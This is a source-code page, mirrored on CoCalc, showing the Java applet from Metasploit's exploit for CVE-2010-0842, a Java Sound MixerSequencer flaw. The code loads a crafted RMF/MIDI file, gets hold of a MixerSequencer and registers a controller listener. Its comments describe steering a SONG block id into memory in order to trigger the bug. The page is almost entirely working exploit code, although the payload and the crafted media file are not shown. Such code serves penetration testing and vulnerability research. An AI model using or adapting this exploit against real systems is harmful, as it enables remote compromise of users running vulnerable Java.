CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2010-0842/MixerMidiApplet/MixerMidiApplet.java
Views: 11784
1
import java.applet.Applet;
2
import java.awt.Graphics;
3
import java.io.*;
4
5
import java.net.*;
6
7
import javax.sound.midi.*;
8
import com.sun.media.sound.*;
9
import javax.sound.midi.*;
10
11
12
public class MixerMidiApplet extends Applet {
13
14
Sequencer sequencer = null;
15
Sequence mySeq = null;
16
17
@Override
18
public void start() {
19
20
//What midi file do we need to play.. ?
21
22
String filename = getParameter("MIDIFILE");
23
24
// Main code, its in a try thanks to all the calls that
25
// might theoretically go wrong.
26
try {
27
// Get a list of midi devices installed. We added our own device
28
// (well actually only a device provider) that returns a
29
// MixerSequencer. Another option would be to use the
30
// default RealtimeSequencer and then use a RMF midifile,
31
// that way the RealtimeSequencer will be using a MixerSequencer.
32
// But then we need our own MidiFileReader and return
33
// the correct MidiFile info, this is much easier :)
34
MidiDevice.Info[] infos = MidiSystem.getMidiDeviceInfo();
35
36
// infos[0] should be our MixerSequencerProvider
37
MidiDevice mixer = MidiSystem.getMidiDevice(infos[0]);
38
39
// Turn it into a sequencer
40
sequencer = (Sequencer)mixer;
41
42
// Open it
43
sequencer.open();
44
45
// Get the input stream from the midi file so we
46
// can use that in setSequencer
47
InputStream midistream = getClass().getResourceAsStream(filename);
48
49
//We need to convert the InputStream to an byteArrayInputStream
50
// to avoid 'ERROR! java.io.IOException: mark/reset not supported'
51
// exceptions
52
ByteArrayOutputStream bos = new ByteArrayOutputStream();
53
byte[] buf = new byte[1024];
54
int c;
55
while((c = midistream.read(buf)) != -1) {
56
bos.write(buf, 0, c);
57
}
58
59
ByteArrayInputStream bamidistream = new ByteArrayInputStream(bos.toByteArray());
60
61
// This will call nOpenRmfSequencer wich will the RMF SONG BlockID
62
// as our pSong->userReference
63
sequencer.setSequence(bamidistream);
64
65
// We add a controler at the first array field.
66
MyController mc = new MyController();
67
68
// This will fil the right tables, and add our newly found
69
// SONG id (in the .rmf file) where we want it.
70
sequencer.addControllerEventListener(mc, new int[] {0});
71
72
// Start playing the midi file, then find a nice
73
// 00 B0 80 00 secquence and make us happy
74
sequencer.start();
75
76
} catch (Exception ex) {
77
System.out.println("ERROR! " + ex);
78
}
79
80
}
81
82
public void run() {
83
84
}
85
86
}
87